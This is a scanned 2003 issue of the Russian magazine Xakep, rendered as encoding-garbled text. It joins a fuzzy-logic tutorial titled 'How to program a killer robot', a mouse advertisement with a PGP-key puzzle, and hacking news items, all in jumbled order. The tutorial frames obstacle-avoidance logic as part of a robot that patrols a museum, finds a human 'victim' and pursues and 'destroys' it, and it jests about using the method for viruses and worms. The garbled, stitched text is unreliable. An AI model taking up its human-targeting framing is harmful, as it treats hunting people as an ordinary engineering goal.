Ñóùåñòâóþò ñòàíäàðòíûå ôóíêöèè ïðèíàäëåæíîñòè<br />

(ñì. ðèñ.1), ëþáóþ èç êîòîðûõ ìîæíî ïðîèçâîëüíî âûáèðàòü<br />

â çàâèñèìîñòè îò çàäà÷è.<br />

Ðèñ.1. Ñòàíäàðòíûå ôóíêöèè ïðèíàäëåæíîñòè<br />

 ýòèõ ôóíêöèÿõ ìíîæåñòâî çíà÷åíèé, ïðè êîòîðûõ F=1, õàðàêòåðèçóþò<br />

ïîëíóþ ïðèíàäëåæíîñòü, à ïðè F=0 ïîëíóþ<br />

íåïðèíàäëåæíîñòü, ñîîòâåòñòâåííî çíà÷åíèÿ, ëåæàùèå ìåæäó<br />

[0;1] õàðàêòåðèçóþò íå÷åòêóþ ïðèíàäëåæíîñòü («0» è «1»<br />

ÿâëÿþòñÿ ýêñòðåìàëüíûìè çíà÷åíèÿìè). Ìîæíî òàêæå (à â<br />

íåêîòîðûõ ñëó÷àÿõ äàæå æåëàòåëüíî) ïîäáèðàòü ñîáñòâåííóþ,<br />

áîëåå ïîäõîäÿùóþ ôîðìó ôóíêöèè ïðèíàäëåæíîñòè.<br />

Ïîñòðîèì ôóíêöèþ ïðèíàäëåæíîñòè äëÿ òåðìà Î×ÅÍÜ<br />

ÁËÈÇÊÎ. Áóäåì ðàññóæäàòü. Ðàññòîÿíèå â 1 ìåòð äî ïîìåõè<br />

ìîæíî ñ÷èòàòü òî÷íî ïðèíàäëåæàùèì òåðìó Î×ÅÍÜ ÁËÈÇ-<br />

ÊÎ, ñëåäîâàòåëüíî, âñå çíà÷åíèÿ ðàññòîÿíèé îò 0 äî 1 ìåòðà<br />

ïðèìåì ñ ïðèíàäëåæíîñòüþ «1» (ïîëíàÿ ïðèíàäëåæíîñòü).<br />

Ðàññòîÿíèå ñâûøå 2 ìåòðîâ òî÷íî íåëüçÿ ñ÷èòàòü<br />

ïðèíàäëåæàùèì òåðìó Î×ÅÍÜ ÁËÈÇÊÎ, ò.å. âñå çíà÷åíèÿ<br />

ðàññòîÿíèé ñâûøå 2 ìåòðîâ ïðèìåì ïîëíîñòüþ íå ïðèíàäëåæàùèìè<br />

äàííîìó òåðìó (ïðèíàäëåæíîñòü «0»). Ñîîòâåòñòâåííî<br />

çíà÷åíèÿ, ëåæàùèå ìåæäó 1 è 2 ìåòðàìè, ÿâëÿþòñÿ<br />

íå÷åòêèìè (âðîäå êàê è î÷åíü áëèçêî, íî è íå ñîâñåì î÷åíü<br />

áëèçêî). Íàèáîëåå ïîäõîäÿùåé äëÿ íàøèõ ðàññóæäåíèé ÿâëÿåòñÿ<br />

ñòàíäàðòíàÿ ôóíêöèÿ ïðèíàäëåæíîñòè Z. Ïðîäîëæàÿ<br />

ïîäîáíûå ðàññóæäåíèÿ, ìû ñ òîáîé ïîñòðîèì ôóíêöèè ïðèíàäëåæíîñòè<br />

äëÿ âñåõ òåðìîâ ëèíãâèñòè÷åñêîé ïåðåìåííîé<br />

ÄÈÑÒÀÍÖÈß. Ðàçìåñòèì âñå ïîëó÷åííûå ôóíêöèè íà îäíîì<br />

ãðàôèêå (Ðèñ.2). Òåðìû ÁËÈÇÊÎ è ÑÐÅÄÍßß ïðåäñòàâëåíû<br />

Ï-ôóíêöèÿìè, à òåðì ÄÀËÅÊÎ S-ôóíêöèåé.<br />

Òåïåðü ðàññìîòðèì ëèíãâèñòè÷åñêóþ ïåðåìåííóþ ÍÀÏ-<br />

ÐÀÂËÅÍÈÅ. Ò.ê. óãîë îáçîðà ó íàøåãî ðîáîòà àíàëîãè÷åí<br />

÷åëîâåêó, ïðèìåì åãî ðàâíûì 180 ãðàäóñîâ<br />

(ñ ó÷åòîì áîêîâîãî çðåíèÿ). Äëÿ óäîáñòâà áó-<br />

Õî÷åøü ïîëó÷èòü ïðèç îò ôèðìû Defender Ïîïðîáóé ðàçãàäàòü ãîëîâîëîìêó.<br />

Ýòîò PGP-êëþ÷ ñîñòîÿùèé èç ñåìè ñòðîê îáëàäàåò òðåìÿ óäèâèòåëüíûìè îñîáåííîñòÿìè, ïîïðîáóé èõ âñå íàéòè:<br />

1. Â êàêîé ñòðîêå ñòîÿò ïîäðÿä äåñÿòü A<br />

2. Â êàêîé ñòðîêå ìîæíî íàéòè íèê îäíîãî èç ðåäàêòîðîâ Õ<br />

3. Íàçâàíèå, êàêîé êîìïüþòåðíîé ôèðìû ìîæíî ïðî÷èòàòü â îáðàòíîì ïîðÿäêå â ÷åòâåðòîé ñòðîêå ñâåðõó<br />

Îòâåòû øëè íà magazine@real.xakep.ru.<br />

www.defender.ru<br />

àêóñòè÷åñêàÿ ñèòåìà<br />

Defender Mercury 50<br />

-----BEGIN PGP PUBLIC KEY BLOCK-----<br />

Version: 2.6.3i<br />

mQENAzxFtv4AAAEIAO0nbVhZ+xUUCsHztSt0qH4jmVyCrTZR/JwO7hp68ct2H3B/<br />

sy3FEd4UrUk6rtkWTMJminE/koGOl+uYyrHmN2K/AdVYkLRXCuTTerlWamFXrrH6dby<br />

znWDaYIerLqYGA8KqhxJ1BKE+WIFouLQ9gogOxaghwGIfup/Tewov9umaMQgFjje<br />

0lPzrATCmWEGw+hL20lRaiX3W3iegPL3sqBREdnEFeDJjgjmVhv6zVofNbcbfU0iEFEDA<br />

GkjwTvvS3udinTqKb65KJmALv3QwBlUdT8dtENAJO/uCU2cKyApihQlzeeduEOvYx<br />

KImKVwxlOFCDbTC/Jjzga/Q8vmw7TTL7ANk2Q7UABRG0A3ImZIkBFQMFEDxFtv5N<br />

MvsA2TZDtQEBxl8H/jIdm51nkWfaxfe5VYbAffPOGixBpYl+Oj+Pn8zM9XlpXTa6<br />

-----END PGP PUBLIC KEY BLOCK-----<br />

֏!<br />

Áåñïðîâîäíàÿ îïòè÷åñêàÿ<br />

ìèíè-ìûøü DEFENDER<br />

1450 UP PS/2+USB<br />

Áåñïðîâîäíàÿ îïòè÷åñêàÿ<br />

ìûøü DEFENDER 1480


Implant<br />

ÊÀÊ ÏÐÎÃÐÀÌÌÈÐÎÂÀÒÜ ÐÎÁÎÒÀ-ÓÁÈÉÖÓ<br />

Èâàí Ñêëÿðîâ<br />

Sklyarov@real.xakep.ru<br />

Ðèñ.2. Ôóíêöèè ïðèíàäëåæíîñòè äëÿ òåðìîâ<br />

ëèíãâèñòè÷åñêîé ïåðåìåííîé ÄÈÑÒÀÍÖÈß<br />

Äëÿ óäîáñòâà ñîñòàâèì òàáëèöó, â êîòîðîé áóäóò îòðàæåíû<br />

âñå íàøè ïðàâèëà (ñì. ðèñ.4). Íàø ðîáîò áóäåò<br />

äåéñòâîâàòü íà îñíîâå íå÷åòêèõ ïðàâèë, ïðåäñòàâëåííûõ<br />

â òàáëèöå.<br />

Ïîñëå ïðèìåíåíèÿ íå÷åòêèõ ïðàâèë ìû äîëæíû ñäåëàòü<br />

çàêëþ÷èòåëüíûé ëîãè÷åñêèé âûâîä. Äëÿ ýòîãî èñïîëüçóþòñÿ<br />

îïåðàòîðû MIN() èëè MAX(). ßñíî, ÷òî ïåðâûé âû-<br />

÷èñëÿåò ìèíèìàëüíûå çíà÷åíèÿ, à âòîðîé ìàêñèìàëüíûå.<br />

Êàêîé èç íèõ ïðèìåíÿòü, çàâèñèò îò òîãî, êàêîé ëîãè÷åñêîé<br />

ñâÿçêîé îáúåäèíåíû ïåðåìåííûå â ïðàâèëå. Åñëè<br />

ñâÿçêîé È, ïðèìåíÿåòñÿ îïåðàòîð MIN(), åñëè ñâÿçêîé<br />

ÈËÈ — MAX(). Íó à åñëè â ïðàâèëå âñåãî îäíà âõîäíàÿ<br />

ïåðåìåííàÿ, òî îïåðàòîðû âîâñå íå íóæíû.<br />

Äîïóñòèì, â íàøåì ïðèìåðå òåðì ÁËÈÇÊÎ ëèíãâèñòè÷åñêîé<br />

ïåðåìåííîé ÄÈÑÒÀÍÖÈß èìååò ñòåïåíü ïðèíàäëåæíîñòè<br />

0,7, à òåðì ËÅÂÎÅ ïåðåìåííîé ÍÀÏÐÀÂËÅÍÈÅ — 0,4.<br />

Ò.ê. èñïîëüçîâàíà ñâÿçêà È, òî ïðèìåíèì îïåðàòîð MIN():<br />

MIN(0,7;0,4) = 0,4<br />

Ñëåäîâàòåëüíî, ñòåïåíü ïðèíàäëåæíîñòè òåðìà ÐÅÇÊÎ<br />

ÂÏÐÀÂÎ ëèíãâèñòè÷åñêîé ïåðåìåííîé ÐÓËÅÂÎÉ ÓÃÎË áóäåò<br />

ðàâíà 0,4. Íî ýòî åùå íå âñå. Ïðåäñòàâèì, íàïðèìåð,<br />

÷òî ðàññòîÿíèå â 1,8 ì äëÿ òåðìà ÁËÈÇÊÎ îêàæåòñÿ ðàâíî<br />

ñòåïåíè ïðèíàäëåæíîñòè 0,7, à òî æå ñàìîå ðàññòîÿíèå<br />

äëÿ òåðìà Î×ÅÍÜ ÁËÈÇÊÎ – 0,3, êàê ýòî ïîêàçàíî íà<br />

ðèñ.2 êðàñíûìè ïóíêòèðíûìè ëèíèÿìè. Àíàëîãè÷íî äëÿ<br />

ïåðåìåííîé ÍÀÏÐÀÂËÅÍÈÅ óãîë â 18 ãðàäóñîâ äëÿ òåðìà<br />

ËÅÂÎÅ ìîæåò èìåòü ñòåïåíü ïðèíàäëåæíîñòè 0,6, à äëÿ<br />

òåðìà ÏÐßÌÎ — 0,4. Ò.å. âïîëíå ìîãóò èìåòü íå íóëåâîé<br />

âûõîäíîé ðåçóëüòàò ñðàçó íåñêîëüêî íå÷åòêèõ ïðàâèë. Íî<br />

íàì íåîáõîäèìî ïîëó÷èòü òîëüêî îäíî çíà÷åíèå! Êàêîå èç<br />

íèõ ñ÷èòàòü ïðàâèëüíûì Äëÿ ýòîãî ìû äîëæíû ïðèìåíèòü<br />

îïåðàòîð MIN()/MAX() äëÿ êàæäîãî ðàçðàáîòàííîãî<br />

íàìè ïðàâèëà, à èç âñåõ ïîëó÷åííûõ çíà÷åíèé âûáðàòü<br />

ìàêñèìàëüíîå. Â ðåçóëüòàòå âñåõ ýòèõ äåéñòâèé ìû ïîëó-<br />

÷èì îäíî-åäèíñòâåííîå íå÷åòêîå çíà÷åíèå óïðàâëÿþùåé<br />

ïåðåìåííîé, êîòîðîå íåîáõîäèìî ïðèâåñòè ê ÷åòêîìó<br />

çíà÷åíèþ, ò.å. ïåðåõîäèì ê ýòàïó äåôàççèôèêàöèè.<br />

ÕÀÊÅÐ\¹53\Ìàé\2003<br />

ÁËÎÊ ÏÎÈÑÊÀ ÆÅÐÒÂÛ & ÁËÎÊ ÏÐÅÑ-<br />

ËÅÄÎÂÀÍÈß È ÓÍÈ×ÒÎÆÅÍÈß ÆÅÐÒÂÛ<br />

Çà íåèìåíèåì ìåñòà ìû íå áóäåì ðàçáèðàòü ýòè áëîêè â<br />

äåòàëÿõ. Îáñóäèì ïîâåðõíîñòíî âòîðîé áëîê — áëîê ïîèñêà<br />

æåðòâû. Íóæíî ñðàçó èñõîäèòü èç ïðåäïîëîæåíèÿ,<br />

÷òî ïîèñê æåðòâû ïðîèñõîäèò â íåáîëüøîì, îãðàíè÷åííîì<br />

ïðîñòðàíñòâå. Äåéñòâèòåëüíî, êèëëåð íå èùåò æåðòâó<br />

ãäå íè ïîïàäÿ, îí ÷åòêî çíàåò, ãäå òà äîëæíà ïîÿâèòüñÿ,<br />

è óæå âûñëåæèâàåò åå â îïðåäåëåííîì ìåñòå. Óñëîâíî<br />

áóäåì ñ÷èòàòü, ÷òî ýòî ìóçåé ñ ìíîæåñòâîì êîìíàò è<br />

ïåðåìåùàþùèõñÿ îáúåêòîâ (ëþäåé). Òàêæå áóäåì ñ÷èòàòü,<br />

÷òî íàø ðîáîò íå ñíàéïåð, ò.å. äëÿ âûïîëíåíèÿ çàäàíèÿ<br />

åìó íåîáõîäèìî äîñòàòî÷íî áëèçêî (âïëîòíóþ) ïîäîéòè<br />

ê æåðòâå. Ïîèñê æåðòâû ìîæíî ðåàëèçîâàòü ïîðàçíîìó.<br />

Ïðîñòåéøèé ñïîñîá - ýòî ïàòðóëèðîâàíèå ðîáîòîì<br />

êîìíàò ñ ïåðèîäè÷åñêîé ñìåíîé ïîçèöèé è ïðîñìîòðîì<br />

îêðóæàþùåé îáñòàíîâêè. Ò.å. ðîáîò ñîâåðøàåò<br />

ïîëíûé îáîðîò âîêðóã ñâîåé îñè, ïðè ýòîì ñðàâíèâàÿ<br />

ëþáîé îáúåêò (÷åëîâåêà) ñ «ýòàëîíîì» (æåðòâîé), åñëè<br />

öåëü íå îáíàðóæåíà, äåëàåò íåêîòîðîå êîëè÷åñòâî øàãîâ<br />

âïåðåä è ñíîâà ñîâåðøàåò ïîëíûé îáîðîò, è òàê äî òåõ<br />

ïîð, ïîêà æåðòâà íå ïîÿâèòñÿ â åãî ïîëå çðåíèÿ. Äëÿ<br />

ïîëíîãî îáîðîòà (360 ãðàäóñîâ) ðîáîòó äîñòàòî÷íî ñîâåðøèòü<br />

âñåãî äâà ïîâîðîòà âîêðóã ñâîåé îñè (íàïîìíþ,<br />

îáçîð «ãëàç» ðàâåí 180 ãðàäóñîâ!). Êñòàòè, ýòîò ñïîñîá<br />

ëåãêî ðåàëèçîâàòü, íå ïðèáåãàÿ ê íå÷åòêîé ëîãèêå. Êàê<br />

òîëüêî æåðòâà ïîÿâèòñÿ â ïîëå çðåíèÿ, âêëþ÷àåòñÿ áëîê<br />

ÏÐÅÑËÅÄÎÂÀÍÈß È ÓÍÈ×ÒÎÆÅÍÈß ÆÅÐÒÂÛ. Ò.å. ðîáîò<br />

íà÷èíàåò äâèãàòüñÿ ïðÿìî íà öåëü. Íå èñêëþ÷åíî, ÷òî<br />

æåðòâà íà÷íåò «óáåãàòü» îò ïðåñëåäîâàíèÿ, ïîýòîìó ðîáîò<br />

äîëæåí êîððåêòèðîâàòü ñâîå íàïðàâëåíèå òàêèì îáðàçîì,<br />

÷òîáû öåëü âñåãäà íàõîäèëàñü ïðÿìî ïî êóðñó.<br />

Íåëüçÿ òàêæå èñêëþ÷àòü ñèòóàöèè, êîãäà îáúåêò ñîâñåì<br />

ïðîïàäåò èç ïîëÿ çðåíèÿ (íàïðèìåð, çàéäåò çà óãîë), òîãäà<br />

ðîáîò äîëæåí äîéòè äî òîãî ìåñòà, ãäå áûëà ïîòåðÿíà<br />

öåëü, è âêëþ÷èòü áëîê ïîèñêà æåðòâû. Áëîê ïðåñëåäîâàíèÿ<br />

è óíè÷òîæåíèÿ æåðòâû, åñòåñòâåííî, íóæíî ïðîãðàììèðîâàòü<br />

ñ ïîìîùüþ íå÷åòêîé ëîãèêè.<br />

Ðèñ.3. Îáçîð «ãëàç» ðîáîòà<br />

äåì ñ÷èòàòü, ÷òî óãîë â 0 ãðàäóñîâ ëåæèò ïî ïðîäîëüíîé<br />

îñè íàïðàâëåíèÿ äâèæåíèÿ ðîáîòà, òîãäà ðàñïîëîæåíèå<br />

ïîìåõè ñ ïðàâîé ñòîðîíû îò îñè áóäåò ñîîòâåòñòâîâàòü<br />

ïîëîæèòåëüíîìó óãëó (îò 0 äî 90 ãðàäóñîâ), à ñ ëåâîé —<br />

îòðèöàòåëüíîìó (îò 0 äî -90 ãðàäóñîâ), ñì. ðèñ.3<br />

Òàêèì îáðàçîì, óãîë ìåæäó íàïðàâëåíèåì äâèæåíèÿ ðîáîòà<br />

è ïîìåõîé îò 0 äî 30 ãðàäóñîâ è îò 0 äî -30 ãðàäóñîâ,<br />

ìîæíî îòíåñòè ê òåðìó ÏÐßÌÎ, à óãîë îò 20 äî 90<br />

ãðàäóñîâ - ê òåðìó ÏÐÀÂÎÅ. Àíàëîãè÷íî óãîë îò -20 äî -<br />

90 ãðàäóñîâ - ê òåðìó ËÅÂÎÅ. ß íå áóäó ñòðîèòü ôóíêöèè<br />

ïðèíàäëåæíîñòè äëÿ äàííûõ òåðìîâ, ò.ê. äóìàþ, òåáå<br />

ñåé÷àñ ýòî íå ñîñòàâèò îñîáîãî òðóäà, òàêæå ÿ íå áóäó<br />

îïðåäåëÿòü ñòåïåíè ïðèíàäëåæíîñòè äëÿ òåðìîâ ïåðåìåííîé<br />

ÐÓËÅÂÎÉ ÓÃÎË, ñ íèìè âñå àíàëîãè÷íî.<br />

Ðàçðàáîòêó ýòàïà ôàççèôèêàöèè íà ýòîì ìîæíî ñ÷èòàòü<br />

çàêîí÷åííîé, ïåðåõîäèì ê îáðàáîòêå.<br />

Îáðàáîòêà<br />

Îáðàáîòêà îñíîâàíà íà ðàáîòå íå÷åòêèõ ïðàâèë, ïîýòîìó<br />

ìû äîëæíû ðàçðàáîòàòü ýòè ñàìûå ïðàâèëà. Íå÷åòêèå<br />

ïðàâèëà ïðåäñòàâëÿþò ñîáîé îáû÷íûå îïåðàòîðû óñëîâèé<br />

if... then... (ÅÑËÈ... ÒÎÃÄÀ...), ñ âîçìîæíîñòüþ ïðèìåíåíèÿ<br />

ëîãè÷åñêèõ ñâÿçîê AND(È), OR(ÈËÈ) èëè<br />

NOT(ÍÅ). Íàïðèìåð:<br />

ÅÑËÈ ÄÈÑÒÀÍÖÈß=áëèçêî È ÍÀÏÐÀÂËÅÍÈÅ=ëåâîå ÒÎÃ-<br />

ÄÀ ÐÓËÅÂÎÉ ÓÃÎË=ðåçêî âïðàâî.<br />

Ðèñ.5. Äåôàççèôèêàöèÿ<br />

Äåôàççèôèêàöèÿ<br />

Ïîëó÷èòü ÷åòêîå çíà÷åíèå íå òàê-òî ïðîñòî, êàê êàæåòñÿ.<br />

Äîïóñòèì, ôóíêöèÿ ïðèíàäëåæíîñòè äëÿ òåðìà ÐÅÇÊÎ<br />

ÂÏÐÀÂÎ ëèíãâèñòè÷åñêîé ïåðåìåííîé ÐÓËÅÂÎÉ ÓÃÎË<br />

èìååò Ë-âèä (ñì. ðèñ.5).<br />

Ðèñ.4. Òàáëèöà íå÷åòêèõ ïðàâèë<br />

Ìû â ðåçóëüòàòå îáðàáîòêè ïîëó÷èëè, íàïðèìåð, çíà÷åíèå<br />

0,7. Íà ðèñóíêå ïîêàçàíî, ÷òî ÷åòêîå çíà÷åíèå ìîæåò<br />

áûòü ëþáûì èç äèàïàçîíà 60-90 ãðàäóñîâ (îñíîâàíèå<br />

çàøòðèõîâàííîé ôèãóðû). Êàêîå ñ÷èòàòü ïðàâèëüíûì Íî<br />

ýòî åùå ïðîñòåéøèé ñëó÷àé, ò.ê. ÿ óæå ãîâîðèë, ÷òî âèä<br />

ôóíêöèè ïðèíàäëåæíîñòè ìîæåò áûòü ñîâåðøåííî ëþáîé.<br />

Ñóùåñòâóåò íåñêîëüêî ìåòîäîâ ïî óñòðàíåíèþ íå-<br />

÷åòêîñòè. Íàïðèìåð, ìåòîä öåíòðà ìàêñèìóìà (áåðåòñÿ<br />

öåíòðàëüíîå çíà÷åíèå, êàê ïîêàçàíî íà ðèñóíêå), ìåòîä<br />

íàèáîëüøåãî çíà÷åíèÿ (âûáèðàåòñÿ íàèáîëüøåå èç ïîëó-<br />

÷åííûõ çíà÷åíèé), ìåòîä öåíòðîèäà (îêîí÷àòåëüíîå çíà-<br />

÷åíèå îïðåäåëÿåòñÿ êàê ïðîåêöèÿ öåíòðà òÿæåñòè çàøòðèõîâàííîé<br />

ôèãóðû) è ò.ä.<br />

Òàêèì îáðàçîì, ìû ïîëíîñòüþ îïèñàëè áëîê îáõîäà ïðåïÿòñòâèé,<br />

à òàêæå ðàññìîòðåëè, êàê ðåøàþòñÿ çàäà÷è ñ<br />

ïîìîùüþ íå÷åòêîé ëîãèêè.<br />

ÇÀÊËÞ×ÈÒÅËÜÍÛÉ ÝÒÀÏ<br />

Ïîñëå òîãî êàê ñèñòåìà ïîëíîñòüþ îïèñàíà, åå íóæíî îòëàæèâàòü<br />

è îïòèìèçèðîâàòü. Äëÿ ýòîãî ëó÷øå âñåãî èñïîëüçîâàòü<br />

ïðîãðàììíûé ñèìóëÿòîð ìîäåëè, êîòîðûé<br />

ïîçâîëèò íàáëþäàòü ïîâåäåíèå ðîáîòà è âíîñèòü ñîîòâåòñòâóþùèå<br />

êîððåêòèâû â îïèñàíèå. Òàêîé ñèìóëÿòîð íåñëîæíî<br />

íàïèñàòü ñàìîìó íà ëþáîì ÿçûêå ïðîãðàììèðîâàíèÿ.<br />

Ñóùåñòâóåò ìíîæåñòâî ñïåöèàëèçèðîâàííûõ CADñèñòåì,<br />

êîòîðûå ïîçâîëÿþò ïðîéòè âñå îñíîâíûå ýòàïû<br />

ðàçðàáîòêè íå÷åòêîé ñèñòåìû, íàïðèìåð, «fuzzy TECH»,<br />

«PCFuz», ïðèëîæåíèå Fuzzy ê ïàêåòó Matlab è ïð. Ïîñëå<br />

òîãî êàê ñèñòåìà áóäåò îòëàæåíà, ìîæíî ïåðåâîäèòü åå<br />

îïèñàíèå íà ÿçûê Ñè èëè àññåìáëåð è ïðîøèâàòü â ÏÇÓ<br />

(EEPROM, flash RAM), çàòåì ìîæíî ïðèñòóïàòü ê èñïûòàíèÿì<br />

ðåàëüíîé ìîäåëè.<br />

Âîò è âñå, ìîæåøü ñ÷èòàòü, ÷òî òû îâëàäåë ñàìîé ñîâðåìåííîé<br />

è ïðîäâèíóòîé òåõíîëîãèåé ïðîãðàììèðîâàíèÿ<br />

ñëîæíûõ ñèñòåì óïðàâëåíèÿ. Êñòàòè, íå÷åòêóþ ëîãèêó<br />

ìîæíî ïðèìåíÿòü äëÿ êîäèíãà áîòîâ â èãðàõ èëè<br />

äëÿ ñîçäàíèÿ áîëåå «èíòåëëåêòóàëüíûõ» ñèñòåì áåçîïàñíîñòè,<br />

òàêèõ êàê ôàåðâîëû, à òàêæå âèðóñîâ, ÷åðâåé<br />

è ïð. (íî ÿ òåáå ýòîãî íå ãîâîðèë ;)). Òàê<br />

÷òî, áóäóùåå óæå â òâîèõ ðóêàõ. Äåðçàé!<br />

Èñòî÷íèêè èíôîðìàöèè<br />

http://www.russianlaw.net/sci/FL/links.htm<br />

http://asu.ugatu.ac.ru/book/iis/iis.htm<br />

http://fuzzyfly.chat.ru<br />

http://fuzzy.kstu.ru<br />

http://pmg-ru.narod.ru/download/fuzzy.zip<br />

http://dushkin.boom.ru/<br />

http://www.robotwar3d.com/ :)<br />

50 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


][ NEWS<br />

mindw0rk<br />

Âçëîì<br />

ÕÀÊÅÐ\¹52\Ìàé\2003<br />

][ NEWS<br />

15 ÌÅÑßÖÅ ÇÀ ÕÀËßÂÍÛÉ ÈÍÅÒ<br />

"Æàäíîñòü ôðàåðà ïîãóáèò", - ýòó ôðàçó ÿ ìûñëåííî ïîâòîðÿþ âñåãäà, êîãäà çàëèâàþ<br />

â ñåáÿ ãàëëîíû âîäêè èëè ïðîèãðûâàþ ïîñëåäíèå ñåìåéíûå òðóñû â îäíîì<br />

èç ìåñòíûõ êàçèíî. Íå ïîìåøàëî áû ïîäîáíóþ ïðèâû÷êó çàâåñòè è Ñåðåãå<br />

Àôàíàñüåâó - òåõíàðþ èç Êàëóãè. Èíà÷å, ïîäè, íå ìîòàë áû ñåé÷àñ óñëîâíûé<br />

ñðîê, à íà 140 îòñóæåííûõ ðóáëåé ëó÷øå áû ïèâà âûïèë è ìåíÿ óãîñòèë. Òàê íåò<br />

æå, ñêà÷àë ñ èíåòà êóëõàêåðñêèé øàðî-ñêàíåð òèïà NbtScan, ñâèçäàíóë ó áåäíûõ<br />

þçâåðåé èõ áåñöåííûå ïàðîëè è ïîäñåë íà êðóãëîñóòî÷íûé àíëèì. Ñåðåæà ñèäèò,<br />

ïîðíóõó ñëèâàåò ãåêòàðàìè, à þçâåðè â êàìåíîëîìíÿõ öåìåíò êðîøàò, ÷òîáû<br />

îïëàòèòü õàöêåðó ñåòåâóþ ðàäîñòü. Íî, îòæàâ ìàéêè îò ïîòà, ÷àéíèêè âîñêëèêíóëè:<br />

"Êàêîãî ÷åðòà!" - è ðåøèòåëüíî íàñòó÷àëè â ìèëèöèþ. Ñåðåæó ïîâÿçàëè,<br />

îáâèíèëè, îñóäèëè è íàêàçàëè íà 15 ìåñÿöåâ óñëîâíî. È ïðàâèëüíî – íå<br />

ôèã, êîëü îòõàïàë, çàæèðàòüñÿ, ïî 25 ÷àñîâ â äåíü êðàäåíîå ýêñïëóàòèðîâàòü.<br />

ÕÀÊÈÍÃ ÐÀÑÒÅÒ È ÊÐÅÏÍÅÒ<br />

Êîëè÷åñòâî êîìïüþòåðíûõ âçëîìîâ ðàñòåò áûñòðåå, ÷åì äîõîäû Ìàéêðîñîôòà.<br />

Òîëüêî çà ïåðâûå òðè ìåñÿöà ýòîãî ãîäà äðóæíîå ñîîáùåñòâî êîìïüþòåðíûõ<br />

õóëèãàíîâ íàøêîäèëî 106,57 ìèëëèîíîâ ðàç. Ìîãåì, êîãäà çàõîòèì! :) Âîîáùå,<br />

öèôåðêà ïðåâûøàåò ïðîøëîãîäíèé ïîêàçàòåëü àæ â 10 ðàç. ß òóò ïîñ÷èòàë íà<br />

äîñóãå... Òàêèìè òåìïàìè ÷åðåç 10 ëåò íà êàæäîãî æèòåëÿ, âêëþ÷àÿ åùå íå ðîäèâøèõñÿ<br />

äåòåé è íàõîäÿùèõñÿ â äîëãîñðî÷íîé êîìå ïåíñèîíåðîâ, áóäåò ïðèõîäèòüñÿ<br />

ïðèìåðíî ïî 5 òûñÿ÷ âçëîìîâ â äåíü. Áèëë Ãåéòñ óçíàåò - çàñòðåëèòñÿ<br />

(îá ýòîì - íèæå). Èññëåäîâàíèå, êñòàòè, ïðîâåäåíî âåñüìà àâòîðèòåòíîé îðãàíèçàöèåé<br />

X-Force, åå øåô ïðîêîììåíòèðîâàë äîêëàä òàê: "Ñèÿ áàéäà îçíà÷àåò,<br />

÷òî ñåêóðèòè-ïèïëàì ïðèäåòñÿ ïàõàòü, ÷òî ýíåðäæàéçåðàì, äàáû çàùèòèòü<br />

íàøè çàäíèöû îò ïîñÿãàòåëüñòâà èçâíå". Ýýý.. íó, ìîæåò, íå òàêèìè òåðìèíàìè,<br />

íî ñìûñë òî÷íî òîò. Òàê ÷òî, åñëè òû ðåøèë âäðóã ïîäàòüñÿ â òå ñàìûå ïèïëû,<br />

ó òåáÿ åùå åñòü âðåìÿ îñòàâèòü ýòó àáñóðäíóþ çàòåþ è îñâîèòü áîëåå ñïîêîéíûé<br />

áèçíåñ. Ñòàòü ïî÷òàëüîíîì, íàïðèìåð.<br />

ØÀÉÁÓ, ÐÎÑÑÈß, ËÓÆÊΠ- ËÓ×ØÈÉ!<br />

ïðèçåðîâ. Ïóñòü äàæå â ñòîëü ñîìíèòåëüíîé íîìèíàöèè. Çíàêîìûì ñ<br />

èíãëèøåì êðàéíå ðåêîìåíäóþ ïðîñìîòðåòü è äðóãèå èñòîðèè èç ñåðèè<br />

"áåñïðåäåëû íàøåãî ìèðêà". Ïîëó÷èòå ìîðå óäîâîëüñòâèÿ, ãàðàíòèðóþ.<br />

ÍÅ ÕÂÀÒÈËÎ ÏÐÓÕÈ ÎÑÂÎÁÎÄÈÒÜ ÏÎÐÍÓÕÓ<br />

Æèâåò ñåáå â Àìåðèêå Áåí Ýäåëüìàí. Ó÷èòñÿ â Ãàðâàðäå, ïüåò "Ãèííåñ", èìååò<br />

ãèáêèé è ïûòëèâûé óì. È êàê-òî øóòêè ðàäè ðåøèë Áåí ðàçîáðàòü ïî êîñòî÷êàì<br />

ôèëüòð èíåò-êîíòåíòà íà ïðåäìåò óÿçâèìîñòåé. Ïîòîìó ÷òî õàêåðîì Áåí ñòàë ñ<br />

ñàìûõ ïåëåíîê. Íî õàêåð íàó÷íûé, íå êàêîé-òî òàì âàíäàë. Ñâÿçàëñÿ Áåí ñ êîìïàíèåé<br />

N2H2 - àâòîðàìè óòèëû, ïîïðîñèë èõ ïðåäîñòàâèòü åìó äëÿ ïðîâåäåíèÿ<br />

èññëåäîâàíèé ñïèñîê áëîêèðóåìûõ ñàéòîâ. Íî â êîíòîðå òîæå íå ëîõè ñèäÿò.<br />

«×òî æ òû íàñ ðàçâîäèøü, Áåí, - ãîâîðÿò, - íà õàëÿâêó ñàìûå ñëèâêè õî÷åøü Íå<br />

âèäàòü òåáå õàëÿâû, Áåí, ìû è ñàìè äî õàëÿâû ìàñòàêè». Îáèäåëñÿ Áåí è ïîîáåùàë<br />

çàõàêàòü ôèëüòð äî ñìåðòè, äèçàññåìáëèðîâàòü åãî äî ïîñëåäíåãî áèòà è<br />

âûäðàòü ñïèñîê ñàìîñòîÿòåëüíî. «Àõ, òàê» - ãðîçíî êðèêíóëè â N2H2 è ïîäàëè<br />

â ñóä, ãäå ïðåóñïåâàþùåìó ñòóäåíòó ïîãðîçèëè ïàëü÷èêîì.  çàùèòó Áåíà âñòàë<br />

Àìåðèêàíñêèé ñîþç ãðàæäàíñêèõ ñâîáîä, ïîäàë èñê è âîîáùå íàìåêíóë: "Îòâåòèòå!".<br />

Íî ñóäüè íà ðå÷è ïðîôñîþçà î ïðàâàõ è ñâîáîäàõ íå ïîâåëèñü è åùå<br />

ñòðîæå çàïðåòèëè Áåíó òðîãàòü ôèëüòðîâóþ óòëó. Òàêàÿ âîò èñòîðèÿ. À ìîðàëü -<br />

ìîðàëü åñòü, è îíà òàêîâà: "Íå ïåé "Ãèííåñ" - ïåé "Êëèíñêîå", íå æèâè â Àìåðèêå<br />

- æèâè â Ðîññèè. È òîãäà ñìîæåøü çàõàêàòü âóñìåðòü ÷åãî çàõîø".<br />

ÑÏÀÌÓ ÑÌÅÐÒÜ!<br />

Àìåðèêîñîâ íàñòîëüêî çàäîëáàëè ñïàìåðû, ÷òî ó íèõ óæå ïîëáþäæåòà ñòðàíû<br />

